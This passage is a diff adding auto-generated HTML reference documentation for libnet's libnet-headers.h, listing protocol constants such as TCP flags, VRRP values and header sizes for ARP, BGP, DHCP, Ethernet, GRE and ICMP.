+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a449" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_UNSET" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_UNSET</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a450" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_GETADDR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_GETADDR</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a451" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_DUMP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_DUMP</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a452" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_CALLIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_CALLIT</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a453" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_BCAST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_BCAST</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a454" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_GETTIME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_GETTIME</b>&nbsp;&nbsp;&nbsp;6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a455" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_UADDR2TADDR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_UADDR2TADDR</b>&nbsp;&nbsp;&nbsp;7</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a456" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_TADDR2UADDR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_TADDR2UADDR</b>&nbsp;&nbsp;&nbsp;8</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a457" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_GETVERSADDR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_GETVERSADDR</b>&nbsp;&nbsp;&nbsp;9</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a458" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_INDIRECT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_INDIRECT</b>&nbsp;&nbsp;&nbsp;10</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a459" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_GETADDRLIST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_GETADDRLIST</b>&nbsp;&nbsp;&nbsp;11</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a460" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_GETSTAT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_GETSTAT</b>&nbsp;&nbsp;&nbsp;12</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a461" doxytag="libnet-headers.h::TH_FIN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TH_FIN</b>&nbsp;&nbsp;&nbsp;0x01</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a462" doxytag="libnet-headers.h::TH_SYN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TH_SYN</b>&nbsp;&nbsp;&nbsp;0x02</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a463" doxytag="libnet-headers.h::TH_RST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TH_RST</b>&nbsp;&nbsp;&nbsp;0x04</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a464" doxytag="libnet-headers.h::TH_PUSH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TH_PUSH</b>&nbsp;&nbsp;&nbsp;0x08</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a465" doxytag="libnet-headers.h::TH_ACK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TH_ACK</b>&nbsp;&nbsp;&nbsp;0x10</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a466" doxytag="libnet-headers.h::TH_URG" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TH_URG</b>&nbsp;&nbsp;&nbsp;0x20</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a467" doxytag="libnet-headers.h::TH_ECE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TH_ECE</b>&nbsp;&nbsp;&nbsp;0x40</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a468" doxytag="libnet-headers.h::TH_CWR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TH_CWR</b>&nbsp;&nbsp;&nbsp;0x80</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a469" doxytag="libnet-headers.h::LIBNET_TOKEN_RING_FRAME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_TOKEN_RING_FRAME</b>&nbsp;&nbsp;&nbsp;0x10</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a470" doxytag="libnet-headers.h::LIBNET_TOKEN_RING_LLC_FRAME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_TOKEN_RING_LLC_FRAME</b>&nbsp;&nbsp;&nbsp;0x40</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a471" doxytag="libnet-headers.h::TOKEN_RING_TYPE_IP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TOKEN_RING_TYPE_IP</b>&nbsp;&nbsp;&nbsp;0x0800</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a472" doxytag="libnet-headers.h::TOKEN_RING_TYPE_ARP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TOKEN_RING_TYPE_ARP</b>&nbsp;&nbsp;&nbsp;0x0806</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a473" doxytag="libnet-headers.h::TOKEN_RING_TYPE_REVARP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TOKEN_RING_TYPE_REVARP</b>&nbsp;&nbsp;&nbsp;0x8035</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a474" doxytag="libnet-headers.h::SEBEK_PROTO_VERSION" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>SEBEK_PROTO_VERSION</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a475" doxytag="libnet-headers.h::SEBEK_TYPE_READ" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>SEBEK_TYPE_READ</b>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a476" doxytag="libnet-headers.h::SEBEK_TYPE_WRITE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>SEBEK_TYPE_WRITE</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a477" doxytag="libnet-headers.h::SEBEK_CMD_LENGTH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>SEBEK_CMD_LENGTH</b>&nbsp;&nbsp;&nbsp;12</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a478" doxytag="libnet-headers.h::IPPROTO_VRRP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IPPROTO_VRRP</b>&nbsp;&nbsp;&nbsp;112</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a479" doxytag="libnet-headers.h::LIBNET_VRRP_VERSION_01" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_VRRP_VERSION_01</b>&nbsp;&nbsp;&nbsp;0x1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a480" doxytag="libnet-headers.h::LIBNET_VRRP_VERSION_02" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_VRRP_VERSION_02</b>&nbsp;&nbsp;&nbsp;0x2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a481" doxytag="libnet-headers.h::LIBNET_VRRP_TYPE_ADVERT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_VRRP_TYPE_ADVERT</b>&nbsp;&nbsp;&nbsp;0x1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a482" doxytag="libnet-headers.h::LIBNET_VRRP_AUTH_NONE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_VRRP_AUTH_NONE</b>&nbsp;&nbsp;&nbsp;0x1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a483" doxytag="libnet-headers.h::LIBNET_VRRP_AUTH_PASSWD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_VRRP_AUTH_PASSWD</b>&nbsp;&nbsp;&nbsp;0x2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a484" doxytag="libnet-headers.h::LIBNET_VRRP_AUTH_IPAH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_VRRP_AUTH_IPAH</b>&nbsp;&nbsp;&nbsp;0x3</td></tr>
+
+</table>
+<hr><a name="_details"></a><h2>Detailed Description</h2>
+libnet header information
+<p>
+<hr><h2>Define Documentation</h2>
+<a class="anchor" name="a63" doxytag="libnet-headers.h::LIBNET_802_1Q_CFIMASK" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1Q_CFIMASK&nbsp;&nbsp;&nbsp;0x0001
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+CFI mask </td>
+ </tr>
+</table>
+<a class="anchor" name="a0" doxytag="libnet-headers.h::LIBNET_802_1Q_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1Q_H&nbsp;&nbsp;&nbsp;0x12
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.1Q header: 18 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a62" doxytag="libnet-headers.h::LIBNET_802_1Q_PRIMASK" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1Q_PRIMASK&nbsp;&nbsp;&nbsp;0x0007
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+priority mask </td>
+ </tr>
+</table>
+<a class="anchor" name="a64" doxytag="libnet-headers.h::LIBNET_802_1Q_VIDMASK" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1Q_VIDMASK&nbsp;&nbsp;&nbsp;0x0fff
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+vid mask </td>
+ </tr>
+</table>
+<a class="anchor" name="a69" doxytag="libnet-headers.h::LIBNET_802_1X_ENCASFAL" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1X_ENCASFAL&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.1x encasfal </td>
+ </tr>
+</table>
+<a class="anchor" name="a1" doxytag="libnet-headers.h::LIBNET_802_1X_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1X_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.1X header: 4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a68" doxytag="libnet-headers.h::LIBNET_802_1X_KEY" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1X_KEY&nbsp;&nbsp;&nbsp;0x03
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.1x key </td>
+ </tr>
+</table>
+<a class="anchor" name="a67" doxytag="libnet-headers.h::LIBNET_802_1X_LOGOFF" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1X_LOGOFF&nbsp;&nbsp;&nbsp;0x02
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.1x logoff </td>
+ </tr>
+</table>
+<a class="anchor" name="a65" doxytag="libnet-headers.h::LIBNET_802_1X_PACKET" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1X_PACKET&nbsp;&nbsp;&nbsp;0x00
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.1x packet </td>
+ </tr>
+</table>
+<a class="anchor" name="a66" doxytag="libnet-headers.h::LIBNET_802_1X_START" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_1X_START&nbsp;&nbsp;&nbsp;0x01
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.1x start </td>
+ </tr>
+</table>
+<a class="anchor" name="a2" doxytag="libnet-headers.h::LIBNET_802_2_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_2_H&nbsp;&nbsp;&nbsp;0x03
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.2 LLC header: 3 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a3" doxytag="libnet-headers.h::LIBNET_802_2SNAP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_2SNAP_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.2 LLC/SNAP header:8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a4" doxytag="libnet-headers.h::LIBNET_802_3_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_802_3_H&nbsp;&nbsp;&nbsp;0x0e
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+802.3 header: 14 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a6" doxytag="libnet-headers.h::LIBNET_ARP_ETH_IP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ARP_ETH_IP_H&nbsp;&nbsp;&nbsp;0x1c
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ARP w/ ETH and IP: 28 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a5" doxytag="libnet-headers.h::LIBNET_ARP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ARP_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ARP header w/o addrs: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a7" doxytag="libnet-headers.h::LIBNET_BGP4_HEADER_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_BGP4_HEADER_H&nbsp;&nbsp;&nbsp;0x13
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+BGP header: 19 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a10" doxytag="libnet-headers.h::LIBNET_BGP4_NOTIFICATION_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_BGP4_NOTIFICATION_H&nbsp;&nbsp;&nbsp;0x02
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+BGP notif. header: 2 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a8" doxytag="libnet-headers.h::LIBNET_BGP4_OPEN_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_BGP4_OPEN_H&nbsp;&nbsp;&nbsp;0x0a
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+BGP open header: 10 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a9" doxytag="libnet-headers.h::LIBNET_BGP4_UPDATE_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_BGP4_UPDATE_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+BGP open header: 4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a11" doxytag="libnet-headers.h::LIBNET_CDP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_CDP_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+CDP header base: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a12" doxytag="libnet-headers.h::LIBNET_DHCPV4_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_DHCPV4_H&nbsp;&nbsp;&nbsp;0xf0
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+DHCP v4 header: 240 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a15" doxytag="libnet-headers.h::LIBNET_ETH_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ETH_H&nbsp;&nbsp;&nbsp;0x0e
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Ethernet header: 14 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a16" doxytag="libnet-headers.h::LIBNET_FDDI_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_FDDI_H&nbsp;&nbsp;&nbsp;0x15
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+FDDI header: 21 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a36" doxytag="libnet-headers.h::LIBNET_GRE_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_GRE_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+GRE header: 4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a37" doxytag="libnet-headers.h::LIBNET_GRE_SRE_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_GRE_SRE_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+GRE SRE header: 4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a18" doxytag="libnet-headers.h::LIBNET_ICMPV4_ECHO_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ICMPV4_ECHO_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ICMP_ECHO header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a17" doxytag="libnet-headers.h::LIBNET_ICMPV4_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ICMPV4_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ICMP header base: 4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a19" doxytag="libnet-headers.h::LIBNET_ICMPV4_MASK_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ICMPV4_MASK_H&nbsp;&nbsp;&nbsp;0x0c
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ICMP_MASK header: 12 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a22" doxytag="libnet-headers.h::LIBNET_ICMPV4_REDIRECT_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ICMPV4_REDIRECT_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ICMP_REDIRECT header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a21" doxytag="libnet-headers.h::LIBNET_ICMPV4_TIMXCEED_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ICMPV4_TIMXCEED_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ICMP_TIMXCEED header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a23" doxytag="libnet-headers.h::LIBNET_ICMPV4_TS_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
